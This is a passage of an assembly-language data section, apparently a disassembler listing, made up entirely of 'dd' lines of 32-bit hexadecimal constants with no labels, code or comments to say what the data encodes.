		dd 310F4C3Ah, 0E41501FCh, 0AF188232h, 353ED4A0h, 96951F0h
		dd 0F8605D0h, 47C0301Eh, 211010F8h, 0A1183E81h,	8AA8478Bh
		dd 315E4412h, 0B0EDD041h, 94E7BD3Bh, 0ECBB657Dh, 7222C15Dh
		dd 5C342BECh, 6D55B247h, 214916C7h, 22A90475h, 3EBC2004h
		dd 881F5D1h, 0D4992787h, 0A83E7C71h, 0C14A8EDh,	7C3010FEh
		dd 221857A0h, 22702AB8h, 89C44BAh, 371D912Fh, 0A2DC6614h
		dd 554A16E2h, 8A614451h, 0BD183E34h, 536E8A30h,	98185A8Ch
		dd 1F925F4Ch, 18C3C744h, 94747498h, 0C543457Fh,	0FF9818h
		dd 2A7C8DFh, 0E0C42026h, 90679381h, 1CEF5747h, 21AC8474h
		dd 0AC600C48h, 7C5E50A3h, 65E840D2h, 0D98EB8BEh, 0BA56BB24h
		dd 67D2A8D7h, 0CA91DD42h, 0B77C36AAh, 0C2DFB581h, 0EC3BC2ACh
		dd 4B98183Ah, 7046CBE8h, 0D6C444EDh, 80A229Bh, 0D517B07Eh
		dd 0A541BA81h, 0B01C5C2Fh, 0D1E754B3h, 3B23C0EEh, 0EDDE6A42h
		dd 0F14A80Bh, 0ED7A6764h, 0A62D2D1Dh, 0C576FB8Ah, 55812101h
		dd 9EA48D05h, 0AB8E03EEh, 0F0275D8h, 0E71FBB15h, 4D57EB8Bh
		dd 419FC475h, 1A5053C5h, 5EF67067h, 0D2041E14h,	3A61B2BEh
		dd 227D5193h, 8EB332EDh, 0B7DF7121h, 0FAFB8398h, 0DD4C48Ah
		dd 0AE980AEBh, 0F22D7CF8h, 0A43604D0h, 0F77C0D55h, 0EBB4ABC5h
		dd 7F8BF828h, 0A1E40130h
		dd 49A3FDF9h, 0F1E8ED5Dh, 0CF30F485h, 0EB62E3E4h, 0C4E742AEh
		dd 0AF6EBB96h, 0B5788922h, 0AA452F11h, 0A77D6396h, 4F9FA361h
		dd 0F2EFC70Bh, 609C5CAEh, 0A99F95B4h, 6E9EBFA0h, 0E7B1BFD6h
		dd 5860AEF2h, 0AEF29E47h, 507B8124h, 8948E52Dh,	0A0B446A1h
		dd 0E3B1FDF1h, 16046774h, 8708AE31h, 567F9FFDh,	0EF218915h
		dd 0BA89F9B5h, 0ED820C4h, 0FE972475h, 0A18BC6A8h, 0F618FFh
		dd 3560D26h, 0BEC6077Ah, 6BD8816Dh, 57069DC6h, 9DBDD05Eh
		dd 542AA3A8h, 0D42B7CDBh, 77E1D1A0h, 0A815E342h, 0B78F396h
		dd 8AEA3E0h, 0B307A4DAh, 98588743h, 1B8CC2E3h, 16FF7B1h
		dd 42ED9F79h, 6E72949Bh, 0F3401944h, 7CCD69B8h,	0C1DEDF46h
		dd 69343455h, 5A0F621Ah, 40E9A08Ch, 98CFA261h, 7982DEC0h
		dd 6CC4A30Dh, 0AA89C3B3h, 0A861813Dh, 113A6837h, 20C267A5h
		dd 28F4404Fh, 98A69F2Dh, 0BED08139h, 3781B18Ah,	0C23B4616h
		dd 75AB1DEEh, 552BDDC4h, 6B460CD9h, 683209D0h, 8ABED115h
		dd 552D7421h, 58CA9086h, 445BBC47h, 0A2AF2A90h,	8B3B888Eh
		dd 0C2C1051h, 528D9035h, 0C631C304h, 0D44E2961h, 5A146A40h
		dd 0EF066019h, 9A90A94Fh, 66271986h, 0F31150A2h, 30B2428Eh
		dd 2C085685h, 9318995Ah, 8653AB4Ch, 60FD1E01h, 3248E88Ah
		dd 0B36C19C3h, 0C1FEB81Eh, 5C811033h, 4B2CB2CDh, 84B57AE3h
		dd 8A2C3596h, 9F563220h, 0CBFCBF7Dh, 510B0EE2h,	33F5FA7Fh
		dd 242D9745h, 0F5ABDB46h, 0BA22AA1Ah, 61168A8Fh, 0D9912230h
		dd 0D8D9FA7Dh, 80EA2ABh, 0B89E6B4Eh, 1311A113h,	521FE779h
		dd 0ADA8B04Fh, 0B21ABE5Fh, 70CED7C0h, 103B574h,	926EA5B9h
		dd 0E506F945h, 8B5BED53h, 0C0CD26C5h, 0BBB5A5AAh, 52D3C187h
		dd 4CD7A155h, 0DC434336h, 0A6CDF79Fh, 564BC5A0h, 7D846DFh
		dd 8AA54F0Ah, 6D829943h, 88518617h, 79C64229h, 0EACF46F3h
		dd 7D56EDA3h, 47712E87h, 2DEAFF3Ch, 7C06481h, 3160823Bh
		dd 9861B054h, 0EBEE56A3h, 21B43A67h, 7DDC0EDAh,	80544B9h
		dd 3B6828EDh, 5C9BBBF2h, 138D91DBh, 4934482Dh, 0A0649A27h
		dd 0A34AB45Ah, 51F4598Ah, 0EF987E57h, 0D2BF8EFDh, 85754AECh
		dd 7488AEB0h, 0A08DAFA9h, 24513051h, 0CD133239h, 47B74AE6h
		dd 46B369EFh, 853506A5h, 9022DB66h, 0AF8242D1h,	1AA53453h
		dd 0FA12CB87h, 324AF488h, 4D2EB5DDh, 0F0030851h, 0E00013E8h
		dd 3DE80099h, 2FB103D8h, 73070D44h, 8216F687h, 0F5F246B6h
		dd 7911C3C6h, 44D3DA2Fh, 22CAAC5Fh, 0E5E29D04h,	220EA519h
		dd 0E9C2A007h, 5CB9FE28h, 0B08ABCF5h, 0B2D7C79Ch, 0ABCBBE0Fh
		dd 11DDC082h, 2BD7DCC0h, 9DA0AE93h, 0CDFED369h,	57279607h
		dd 0F305EB35h, 0C2386B81h, 0BB20456Fh, 59504E9Ch, 0D88AD8A8h
		dd 0AF9198D5h, 1A2FC1h,	0C2B050CFh, 0AC228848h,	0EA303057h
		dd 85EE05EBh, 491D2CD0h, 0DB2AE518h, 4415003Eh,	511A9DF6h
		dd 0C7B24C86h, 4562AD4Bh, 2E968AE9h, 3BF0C492h,	0D48E323Bh
		dd 0BE8132Bh, 0A53B6867h, 40A3914Eh, 0AB442FA2h, 197FFF37h
		dd 0CFCD4A5h, 0B937A94Ch, 36D5845h, 0FF80983Fh,	0C503D5BDh
		dd 0BB9FF47Fh, 61BE974Bh, 9FF9F140h, 0E3FF680Fh, 2FB1A66Fh
		dd 0A4B42A0Bh, 0EE91EE8Dh, 147FEC0Ch, 17D1C61Dh, 308E1B3h
		dd 0C0FA01Ch, 3657E933h, 43306631h, 8ABBC639h, 8385622h
		dd 8719EB0Bh, 53D0B68Dh, 1AC3F87Eh, 90C63F1Ah, 3AADF0FDh
		dd 1D5D03CBh, 0BFCC2C70h, 0BF9958ABh, 11274F38h, 0D38F2B7Fh
		dd 0E8FEE8DFh, 317BE980h, 0C23948C0h, 37B45255h, 0DE15157Ah
		dd 2E763C25h, 52AE19FFh, 13A96156h, 0C49E687Eh,	1DB10722h
		dd 44F09ED6h, 85CDFB3h,	7C043F66h, 35D3BB36h, 5573C494h
		dd 671953B9h, 56D1EECDh, 92C55D87h, 0C65D4ADFh,	4C36BB01h
		dd 8FCA114Ch, 409FC162h, 0BB4F9BDEh, 0DA4C2E8Ch, 0D718C1A5h
		dd 9F6460Bh, 5F259C05h,	0A95C2C71h, 0C65D2401h,	290E1741h
		dd 5A33A0A5h, 6DA2D316h, 68BA0CB7h, 0FF1A3E9Bh,	8DCBA9A1h
		dd 318878D4h, 7DB96175h, 0A38BF52Dh, 113633FFh,	936D0C16h
		dd 343FD1C9h, 0E77C1CD5h, 0FCB74345h, 9D95C691h, 0D32F2D1Dh
		dd 0BB454661h, 0A73208F1h, 7D36C186h, 95BD09E6h, 596AD6B1h
		dd 0E64F6461h, 0A692E279h, 0D5443EA9h, 9B69069Bh, 0B692DA90h
		dd 194D2789h, 6D34969Bh, 49E6E9E2h, 0D7A64F32h,	36908536h
		dd 53CFF4A1h, 0A5822785h, 511CBA69h, 3D4AA6F4h,	0FE8587E1h
		dd 18074F28h, 9C447B75h, 67413809h, 38CFCE42h, 1D7F107Fh
		dd 9D9DF2BBh, 8C5D7h, 72133183h, 156D4F27h, 27AC9833h
		dd 0DE8A6055h, 8837FE2Eh, 68FACF8Ch, 1089CF27h,	81F447F3h
		dd 0EACA81F0h, 0A0CF2F82h, 0B2AE425Ah, 2B3EF4FAh, 69B60233h
		dd 9A69697Dh, 0BDF497F4h, 6F6A109h, 1CF5E2B2h, 0E910B925h
		dd 0BE29CDC7h, 0BAF0BAA9h, 8FD2A9DCh, 8387149Bh, 9BC3AA80h
		dd 48BCFA3h, 0E981A8A3h, 3D678FFCh, 93182568h, 0B649040Bh
		dd 3CEEB69h, 0FB73D106h, 0BA690B18h, 0A5D4D378h, 43A67180h
		dd 9B69E2B2h, 0A1F99E18h, 0BBD3E369h, 0E6CC4A78h, 0A61DEF32h
		dd 0D221D6ACh, 0C694DB4Fh, 64F572E9h, 8C5D56DCh, 89B17B58h
		dd 608B15B5h, 0B8C9F47Bh, 60883048h, 0F8CE831h,	0F45514CDh
		dd 80F77479h, 63A331A5h, 14365103h, 68BC43F1h, 63058BBDh
		dd 0C242C072h, 0D32B0h,	0B1F4DA85h, 3315B509h, 8933F4A6h
		dd 0A32CA3F3h, 9A5415F6h, 9E33C2D3h, 4B41DB66h,	0BF3806A8h
		dd 66A92EACh, 3FC94A31h, 189EEF4Fh, 368CA6A6h, 0FD1E5AA0h
		dd 3035C7ADh, 0CFA2DE5Ah, 1B50AE9h, 2F52C2FBh, 0E895A290h
		dd 19B602CAh, 8DEBE8EBh, 0A8A8A6C4h, 0C545A993h, 0CB442529h
		dd 9DB5AE93h, 0DB533189h, 0B4A93884h, 8C1974Dh,	44F3E5A2h
		dd 7853E39Ch, 0B177A69Bh, 0BEBEC603h, 6165BBB2h, 3BA37C1Ch
		dd 0CDEB6299h, 2F6C96F2h, 0A3A86AF7h, 9FA02F3Bh, 0D1ADB2CFh
		dd 34746C2Ch, 0CAAF0BFAh, 3F597638h, 6185254Bh,	65570D74h
		dd 980EB99Ch, 9987948Dh, 9C69E632h, 0CB8AD519h,	0B3129312h
		dd 213DFC3Eh, 54A8CEF7h, 8C4E1526h, 0F3995A37h,	0AEB37CAAh
		dd 0CC4DCC4Eh, 4747FCF7h, 0B6E479B8h, 80F5D49Ah, 9FEC3AB0h
		dd 0FB70011Dh, 9A16C367h, 0F3E0F1F5h, 814187E0h, 5D75B2BEh
		dd 0D485E8FCh, 0AE697697h, 91478BAh, 0B11A571Eh, 362EBE3Eh
		dd 0ABE8B2FAh, 2D545D2Ch, 34A443E1h, 62E8218Ah,	37D6B819h
		dd 47C07BD1h, 61EB330Fh, 38A45237h, 4F95D8B8h, 9CEF5290h
		dd 0FA234EF2h, 1F75F925h, 5185517Dh, 43C54D6Dh,	0C60A945Fh
		dd 0D21AB57Fh, 19129D97h, 5E0EEEE7h, 7DED88EAh,	0AE5F2BD0h
		dd 45F47D68h, 5FA9485Dh, 891A82D9h, 0A2BCB009h,	0DC46912Fh
		dd 0C7BA9689h, 0F45D82ABh, 492DD0C5h, 0D0021C5Fh, 0AD3F4712h
		dd 2F8B34EFh, 631FF2FAh, 32ADCCC0h, 0DE9703EFh,	0A54A510Ah
		dd 722BE9F8h, 5C8862BBh, 0D125D364h, 5A2B71D7h,	0ABB5CFEh
		dd 341231DAh, 0A82B73FAh, 0B6A36B21h, 0CEB3E52Ch, 0FF53F88Eh
		dd 0A5E9C8F2h, 8CAACA3Bh, 0F8286A3Fh, 0AF036DB3h, 0D42AA72Ch
		dd 9E020A3Ah, 5C281F3Ah, 0C5D51408h, 8932AEB4h,	0DA352FF2h
		dd 1F25CAB9h, 1DD8517Ch, 327DF811h, 0B6AC2CC0h,	0BB054AF3h
		dd 36034433h, 0AA42F2ACh, 445116C0h, 65341DD8h,	5F0F8A55h
		dd 5C2CA5C5h, 982E515h,	0FD8B4611h, 9A384C1Fh, 744D64A9h
		dd 794EB11Ch, 4AD961E4h, 980E0194h, 0ABCF4D73h,	0E8B4BAAh
		dd 0A115ACC1h, 165DFDA6h
		dd 0CE7D7684h, 69741744h, 100E130Fh, 330F0F10h,	69306913h
		dd 0D2711DCh, 39DF0798h, 14F065C2h, 0AE1600h, 3BE28C54h
		dd 13E3C66Ah, 0A5C18Ch,	0C0C1BE2Ch, 0B2CBBE2h, 39CF9F8Dh
		dd 0C2804E30h, 2C1804F8h, 3FCAF3BEh, 180BC4AAh,	5545EB69h
		dd 1D9B1DDAh, 0B63B3383h, 5B9F81BEh, 2CC87C97h,	0E7004728h
		dd 436401EEh, 1C09AFC6h, 33004F27h, 0D750F510h,	23386045h
		dd 1A03016Bh, 0CB625A56h, 87CA6CA3h, 0C88B00D2h, 0AF400132h
		dd 0F6B6BECh, 301E8063h, 7B45BA47h, 5613D952h, 2F0348C1h
		dd 625DD042h, 825D1AC0h, 34112C5h, 3A00093h, 1AF053h, 1C03221Fh
		dd 0ED605707h, 90E325FEh, 8FB47362h, 24B2B463h,	4D245F30h
		dd 0E0DBFE25h, 0C4E205CBh, 6044B1ADh, 0D504768Bh, 0C680B527h
		dd 1A56BD77h, 8F1B5730h, 0FA404950h, 24990AC8h,	2C1C0E3h
		dd 7CA6934Ah, 9B5C50F1h, 8C3A53E4h, 5773E48h, 415E2D8Bh
		dd 0F28DF2F7h, 764D30C3h, 0A6905FDBh, 0E962DEE3h, 92664436h
		dd 24068BD9h, 6B42E4B0h, 78E01674h, 0B2AE4C53h,	0D65FF002h
		dd 0B55E7EF5h, 0D808A0Bh, 0C90BB86h, 11311A03h,	88636DDAh
		dd 72664177h, 606851BDh, 2C070854h, 0C60EE3h, 85B03305h
		dd 0D05E84F3h, 36550518h, 4C73662Ch, 73840B22h,	6E5EA190h
		dd 52D8D41Bh, 0C4DC64C3h, 7668E96h, 2BFE69C0h, 0E6848CCh
		dd 10FC4F13h, 12F0FC9Ah, 0E5611628h, 0AD1A890Ah, 0EF001806h
		dd 15C60F5Bh, 6A73C0Ch,	742C9818h, 69116127h, 118CB436h
		dd 780C50Eh, 0E506D488h, 54EF912Fh, 1C18D8D7h, 615FB974h
		dd 0B21A0FF1h, 4C0B4071h, 78AB518Bh, 0D3DF2D1Dh, 4491D188h
		dd 0B767909Bh, 946D3E50h, 0F1C75CCAh, 43D50864h, 0AFD01359h
		dd 0D917FABEh, 506FA6F4h, 54A8360Ah, 0B2F59C54h, 0A85CAA8Eh
		dd 1565CE74h, 0DB6E2B45h, 0CF828197h, 0BCBB68C4h, 2AE0EB8Bh
		dd 627CD842h, 77DE2890h, 20BDE27Bh, 0C15689FAh,	51122EB7h
		dd 5A8655B9h, 31742037h, 5AE404BCh, 738F1485h, 2126DAFh
		dd 59345FAh, 50BCBF05h,	0E41792EBh, 827DFD76h, 0EC421EEEh
		dd 1358FC02h, 102C37C1h, 0C0AE8DF8h, 0B8C9D8ACh, 3B39B424h
		dd 6C4BF719h, 0C04CC845h, 18980979h, 0AABEF5D2h, 0F2C45166h
		dd 9BB0312Ah, 198931F7h, 0A8AC7EE6h, 0BE455731h, 9978AFC6h
		dd 0D4BF14D0h, 0AF67EB45h, 0C0C6E8B2h, 16609CEEh, 2BE5537Eh
		dd 76E472FCh, 3379DF2Fh, 3C0C715Fh, 0AC6893FEh,	3ABC90C2h
		dd 0CF2B76DEh, 7F10A1A0h, 7422B197h, 5A3C2EBCh,	0C8FDF19Fh
		dd 4CFA8B07h, 73BA945Bh, 0C1DABF2Bh, 968E2DC8h,	12C75AA3h
		dd 26684351h, 0BA0BB4C6h, 1055731Ch, 67891EADh,	0ACA92D6Ch
		dd 44243460h, 8BE90E52h, 0D28E0660h, 0AA4034B6h, 333DAE94h
		dd 0E5329D59h, 4AA19335h, 4B85F230h, 0B057E479h, 0A4401DC0h
		dd 0C884E0D0h, 9516C09Fh, 0A5162741h, 800A9C42h, 19A20DFDh
		dd 76597140h, 77480565h, 0B18E12Eh, 98803463h, 0BF4C706Eh
		dd 24FFE2A9h, 7D04522h,	0A5029AF1h, 0CFD79B48h,	455D7495h
		dd 449FC9Eh, 2CED1AF4h,	0A1C8EDFh, 0B719FD47h, 0DAEE7Ah
		dd 57CDF555h, 566439C9h, 0CB41E547h, 5F1DC57h, 0E0BD34B7h
		dd 0C4516265h, 0AA0604Ah, 438021ABh, 693B1529h,	0AC653CC0h
		dd 3A600D7Bh, 0D1205543h, 5CCC4CC6h, 0DA2FBF07h, 946396DAh
		dd 115D8B79h, 5E5D94B1h, 238716F2h, 0C96066CDh,	9A7097C7h
		dd 8B0EAE60h, 94E97471h, 284EA63Ah, 0C6E93DD6h,	140D0A1Dh
		dd 1BE82E3Ch, 461A9620h, 2005AEC3h, 79484C77h, 92BB1D61h
		dd 30C7E10h, 98D0C53h, 79DCEB0Bh, 6081751Ch, 2DD46354h
		dd 50EE4D07h, 0D155A95Ch, 68C0C60Bh, 10E39DFBh,	43186ECCh
		dd 9CA86E6h, 0B7FCA936h, 6C111AA9h, 0CD4B318Eh,	633F1DFAh
		dd 61EB4ACFh, 3CDD49Eh,	0E5C92EB4h, 38A4B5CAh, 0FFA93ACEh
		dd 264361C6h, 131DA287h, 48BA954Ch, 0D0537183h,	0F7AFEA7Eh
		dd 35B8B28Eh, 0A3EA72E9h, 452DA9AAh, 0BD5F1BBEh, 0EA284FBCh
		dd 8B97CA83h, 4B281CFAh, 0C9193A61h, 6CB77AB8h,	0CA4A3A65h
		dd 0E17C7358h, 257E9301h, 0FB020599h, 8008DE89h, 91B62416h
		dd 0F7B12B4Ah, 375C0439h, 0C7153C55h, 89AF7565h, 34734A9Ch
		dd 7C47874Bh, 0AAA86618h, 0A92A3C11h, 4CA9AB7Bh, 8D42A829h
		dd 0F24AFC5Bh, 7A65255Fh, 0A119C754h, 2469F277h, 3AC4726h
		dd 0A8F569E6h, 7232586Bh, 54A94BE7h, 3ACFE668h,	4C66368Ch
		dd 0CA89BACCh, 7A4DDE3Eh, 0ABB73A70h, 65F1C7F5h, 6C06980Fh
		dd 499195B9h, 355A9F7h,	4FA2FAD1h, 1F5EF1B6h, 8A1368AFh
		dd 51464F16h, 91CE77C6h, 16ECB75Bh, 82275CE4h, 31BCAAF8h
		dd 0D118E0A0h, 30794CE6h, 33060689h, 6976301Ch,	71A45CCDh
		dd 0C0350D83h, 7B9CC308h, 0E0BE3B0Eh, 0AD177180h, 0BB08120Ah
		dd 0F5F2B778h, 3C58E9C4h, 2BB56D50h, 69D74DBBh,	17011202h
		dd 91D80A7h, 0C558146Ah, 0CC737AA0h, 0EEB88A2h,	0F733E0Ah
		dd 0C9A53CCAh, 0CCA0D8CDh, 226EA3B1h, 5096AFCFh, 84411A98h
		dd 8863E792h, 0BCC456B2h, 7A5EEB03h, 0DEB351C0h, 0C84260D0h
		dd 0A77F1FD5h, 3C09B72Bh, 0EB17CCEAh, 78DFC7C2h, 1F531C72h
		dd 8300FA6Ch, 0F591744Fh, 9861E691h, 37C1DC34h,	460518BAh
		dd 0E600F537h, 307D3C22h, 182493B1h, 0BF434BF7h, 0C0C3C7D4h
		dd 31812651h, 24C551B8h, 0EA6E9E6Ch, 623DB4C3h,	0A2BE9D8Dh
		dd 0ECE89D7Bh, 0C9010FACh, 97D0AF56h, 486DBA43h, 949C4EE6h
		dd 6024ED25h, 1AD4698Ah, 0B8BFDCC6h, 15DA350Ah,	2FBDC5D1h
		dd 5B30A18h, 36CB7795h,	26E6EEF7h, 831AB9F6h, 75459AFEh
		dd 97568C14h, 0A7368549h, 2FCD6063h, 21148EE3h,	97E5F861h
		dd 0E6F69311h, 0C1DBBF08h, 4DB47C8Ch, 913B2F3Fh, 0D21DF5BBh
		dd 0C62F60C9h, 0BB86785Eh, 8FE855A8h, 877C23C2h, 0ECBF8F5Fh
		dd 89BE0BAh, 0FE608B90h, 9316862Ch, 34B4916Ah, 0E062BA30h
		dd 6D8BE2D1h, 9278DF84h, 6B6E4D6Fh, 27FEEF7Bh, 99FE149Fh
		dd 87F9037Ah, 979C4D4Ah, 67F91E62h, 0C098E5CAh,	625E36DFh
		dd 79392AB1h, 67F0E6BEh, 823A8895h, 0F5BBD871h,	817ED1B4h
		dd 94F694B2h, 0F695B5AFh, 49FFB96Dh, 76D5FA9h, 54ED8256h
		dd 0C058E977h, 1AD05BA4h, 15694527h, 0E7940BADh, 0D7A36BCDh
		dd 3398845Bh, 75A87F49h, 0F309AFF1h, 659BE51Fh,	0FC377949h
		dd 0D1DDF2B7h, 0BE9EFC9Eh, 0AA698DC5h, 0C5B7B8A3h, 0ED817F3Bh
		dd 22AE2B7Eh, 0AA7F2E5Ch, 0A7C4CC14h, 0ACE72D50h, 5B7B7D99h
		dd 0FE6BB694h, 0B3514FC3h, 0DBF2AB2Dh, 0D104CE6Ah, 5D53F7E2h
		dd 93BC9750h, 293A26D8h, 9A216AAh, 0E914743Fh, 680C57C6h
		dd 0C4A99E2Ah, 0D1DB7250h, 4B43F4Ah, 0C0D11DC0h, 9F1CAF82h
		dd 0D05A89C0h, 0B69EF0FFh, 3239911Dh, 88CB07BBh, 52EFB83Ah
		dd 2BDDF5DEh, 9998DC93h, 7111722Fh, 84DCC3F8h, 0C4F84BF5h
		dd 0A7414073h, 0EC508CB3h, 0D68ADD10h, 0F70FC6A2h, 63140739h
		dd 0D7389E74h, 463A54A6h, 504E71B7h, 34968411h,	0E9ECE7DCh
		dd 0C2157FC2h, 0E0D80818h, 0C069FA5Dh, 210C629Eh, 4E0620AAh
		dd 39F4A7D1h, 8321F584h, 0C5BEAF17h, 56A3D53Bh,	0CEF50EF5h
		dd 47F048Bh, 0D0DB9CE3h, 9CC2DF43h, 0E94A44A3h,	46D1DA2Ah
		dd 383E665h, 0CF621724h, 0A861A001h, 9EE0BA09h,	11467D15h
		dd 705AED6Dh, 93610D19h, 0CE65A20Bh, 4810405h, 6AD8D622h
		dd 0D8347669h, 0F326AC0Eh, 7B84C150h, 3A949034h, 83214514h
		dd 0D1480916h
		dd 0B461A60h, 93170A60h, 68AA55F2h, 218C8601h, 6E91835Ah
		dd 5B615EAEh, 6A06BC0Ch, 86078446h, 9A892BF6h, 15790FE3h
		dd 228EF445h, 0D406036Fh, 74D1F200h, 4CEEB1Ah, 0F95E4F83h
		dd 93212A60h, 0B445F45h, 0A3BCC16h, 1A40F419h, 4C802FAh
		dd 0CF469A13h, 0D1821305h, 39D55817h, 8594E1DDh, 688F2988h
		dd 0BF2F46BBh, 193CC5F6h, 67AFF3EEh, 5116139Fh,	8116D660h
		dd 2B385C31h, 0D4F775C9h, 0E9279971h, 9702A50h,	99CE6071h
		dd 0AE8C31D5h, 0C11C1415h, 63711876h, 239FBB17h, 73AB24CDh
		dd 0AFB0A618h, 0A59C51ACh, 7646E597h, 3749D73Dh, 0B17E0BC6h
		dd 0DCBAA7h, 18409D70h,	4BB62CFh, 403B7A48h, 7F98DA5Dh
		dd 915E9DE4h, 0F32866D9h, 14192795h, 7300CFA3h,	0C6B61562h
		dd 0FA366368h, 91216E84h, 1B37C47Ah, 18EC4A61h,	614B7C84h
		dd 0ABDF14Ah, 0BA96241Dh, 17F8A392h, 0F22B6E76h, 8BB8ED76h
		dd 6D9BB27Fh, 64B587E4h, 971D3658h, 0E33A1FC5h,	0E563B8BBh
		dd 99A75EA7h, 980DE300h, 940E0807h, 0BA6716DEh,	1C8A436Ah
		dd 22E76E30h, 97D2E94Fh, 0D8C2ED9Fh, 91EFDE7Ah,	18591B98h
		dd 0FC5B5BD0h, 59FCD359h, 0EC0622D3h, 0E5AB47B7h, 0E202E314h
		dd 8E2AFAD9h, 0B3419B1Ch, 153BE954h, 0C885C7F4h, 2EEC9F94h
		dd 0E2B4A5A6h, 7DC7E54h, 3A0BE53Ah, 389EB4F1h, 74539F5h
		dd 0A2F77E1Dh, 30CBBF28h, 43E7438Ch, 0C48C56EBh, 2678FE2h
		dd 276E352Ah, 4D05E972h, 1516EC3Dh, 7789460Ah, 0E6506E05h
		dd 0D02659D4h, 128D0D8Bh, 592A4AAEh, 7455EC49h,	6945E0h
		dd 0B990D842h, 459655A5h, 1840E47Fh, 154C8530h,	1A34DF50h
		dd 4090AFF1h, 4B40C24Fh, 2642BAB0h, 0C0555309h,	0C27C9846h
		dd 56EBC326h, 0EE33700h, 0C0E25AE3h, 585C063Ch,	0B26E53B1h
		dd 240CB072h, 0DB846D02h, 0C7013128h, 712AB8C0h, 4DFEC069h
		dd 0E44CEE2Ah, 30F1FD2Ah, 7430A628h, 9ABF0126h,	3606CE87h
		dd 0A8D263EBh, 112D2E4Bh, 5918F777h, 0AF841E8Ch, 0C5974DD1h
		dd 0D2EB5DE3h, 306C07E8h, 0C757B0Bh, 61CEA98Bh,	10F29773h
		dd 0D32FA0B1h, 85ACBA37h, 8822DD75h, 4DA5AFDCh,	9155BBC6h
		dd 75BD564Bh, 6D6607B6h, 54CB21DEh, 37BD1DC5h, 0B07B88F0h
		dd 474ADA12h, 0F44EC5E3h, 8DC1D3C9h, 1B728422h,	19ADB935h
		dd 0B967A84Dh, 0DE50F475h, 0A3C09A48h, 2264DCFh, 7B26368Bh
		dd 60821974h, 602634D6h, 168370D0h, 0E510EED3h,	0A824AD87h
		dd 6E790699h, 34436C50h, 61F6B837h, 0E3232E9Fh,	6DDEFD2Ah
		dd 4898B60h, 91608DAFh,	0C8C52C80h, 8C5C46EFh, 13DC8758h
		dd 0BE99BAF3h, 5696A9A2h, 6BA5D40h, 1891B994h, 0CD45ED4h
		dd 74665798h, 883906B9h, 6384304Dh, 467CA83Eh, 0E9861F9h
		dd 0B13A670h, 303AA106h, 0D335489Fh, 0A1CC5A23h, 2EB3AB97h
		dd 2DE219E5h, 6023EB88h, 66905B5Dh, 599AB1F6h, 0A0B8F5DEh
		dd 93F0716Ch, 24A40D06h, 4BDA8CC1h, 1A50DF35h, 41C044B0h
		dd 671A3265h, 8862BBB4h, 0AA461B56h, 395282FDh,	0D2176879h
		dd 0E22467h, 42F70FE2h,	0C96760FAh, 0EB322610h,	93C72BA0h
		dd 7DC6AE8Ah, 0E3AC58D9h, 44E434Ch, 0D95E3DAh, 5C6BFEB4h
		dd 0C310D477h, 0C6177F4Ah, 6540CAD1h, 5D85EE7Dh, 2BA8EF65h
		dd 0CD0A0E9Ah, 0AA352A8h, 3FAA7336h, 162218CAh,	3A302BA8h
		dd 0EB4FAAD7h, 0EC51447Ah, 5B57F84Dh, 0E6094644h, 61461464h
		dd 0FB095981h, 16039F17h, 3C7D5C16h, 5D64651Fh,	63E1696Ah
		dd 2167225Dh, 1772CEA2h, 496780Dh, 0D48A1E9Ch, 575904E7h
		dd 0A01B1009h, 0FB6408FBh, 0EA7C597h, 65721554h, 0EB5F30CAh
		dd 1A070DD2h, 5700706Fh, 8A7327DCh, 2BA2DE2Eh, 17F1110Bh
		dd 0DD2E7A86h, 340E23C0h, 14D1FF96h, 75592691h,	0D10811C3h
		dd 0DF3F8F52h, 48E57DC5h, 62000FE2h, 36FBA863h,	8A92A305h
		dd 31388C5Bh, 0DD81F27Fh, 8F288D0h, 42448FD1h, 49FD29F0h
		dd 932B755Dh, 3DF060F4h, 174A8FAh, 840959C5h, 87AABEC1h
		dd 0E7B885D1h, 6726D114h, 917776BBh, 823F88B4h,	9D0FBC0Ch
		dd 62C1DBBBh, 14E0E23Ah, 2A8A8D44h, 0BDA573D1h,	0EC38A981h
		dd 7512E62Bh, 4F82D7C5h, 6DFE016Eh, 0FC6263A8h,	4CDF911Eh
		dd 0C179F0A1h, 0EF5FD803h, 18467877h, 16F70D26h, 3D9401A7h
		dd 8653A44Fh, 27EDE981h, 79C1F8ECh, 4DB11E60h, 45802875h
		dd 9E471823h, 445C4CBh,	0A4C537A1h, 999AFF9Eh, 72E185BAh
		dd 1A5DD14h, 0A17FFB44h, 32533334h, 2FAD11C0h, 9846336Ah
		dd 0CA14CC1h, 4A2F6533h, 61987F11h, 49EE6D4Ch, 654C4040h
		dd 6553238Ah, 5DC056Ah,	4F310DC3h, 62E0C0E2h, 0D235545Fh
		dd 4B62167Eh, 4880DF02h, 0A7945C60h, 0A9FEE02Ch, 7B10C792h
		dd 827C4D02h, 0E39B0F06h, 0D24093Bh, 1310ED68h,	7A32AEA8h
		dd 19405016h, 0A8AC4645h, 0D10B8997h, 9A32BA7Eh, 0B8A3B23Fh
		dd 407B2B75h, 473731D6h, 65192E5Dh, 7ED1B9B3h, 134BBCC0h
		dd 0D861AC86h, 9723E33Ah, 8D46181Bh, 8D4780BAh,	54F201F2h
		dd 3FE691A7h, 46D091F2h, 97CD1311h, 69F8F33h, 0C445FD9h
		dd 4BA3D522h, 0E44DB390h, 56F8FC68h, 0C810ABE6h, 1869CE6h
		dd 0ADDC6A16h, 0B45027F1h, 0BADA622h, 965223Ah,	4A976CBEh
		dd 0D0C475FEh, 0A9A7A8E9h, 11EBF975h, 9EFF3087h, 0B39E47C3h
		dd 0AA9C25B9h, 0A12D2F51h, 1D2D081Bh, 83A2A7F1h, 0E95B124Eh
		dd 4663ABA3h, 0EF595FC5h, 46BD9552h, 0C9A80D1h,	9303E67Ah
		dd 173956A8h, 24A4CDBh,	0C07D8A9Dh, 3B80C402h, 0C387DF6Dh
		dd 1530DBD8h, 0D83C3BE6h, 88A38115h, 4FC37556h,	574125Eh
		dd 5A356309h, 0D4687D74h, 8CF23B7Fh, 943A8307h,	6974D9Eh
		dd 66C1196Ch, 944FB8B7h, 466AB603h, 81F5E2FAh, 0FD493A04h
		dd 14A9FECCh, 6F56E741h, 92D85019h, 0A27FDE40h,	101F964Eh
		dd 887255F6h, 0DF310635h, 130C9CB7h, 0AB574952h, 726C7F5Dh
		dd 28EA9E4Dh, 5418A812h, 0D1C0CDA6h, 0E3EF3172h, 0BCDDE83Bh
		dd 6C60F7AEh, 6A93A9EAh, 6D72AB30h, 78F6B3C3h, 0A21E9230h
		dd 48F2115h, 7177B913h,	776B5611h, 0B23BAE1Eh, 58148971h
		dd 30BBA7ADh, 22EF452Fh, 2BB8AB25h, 16EA182Bh, 7C11E3FCh
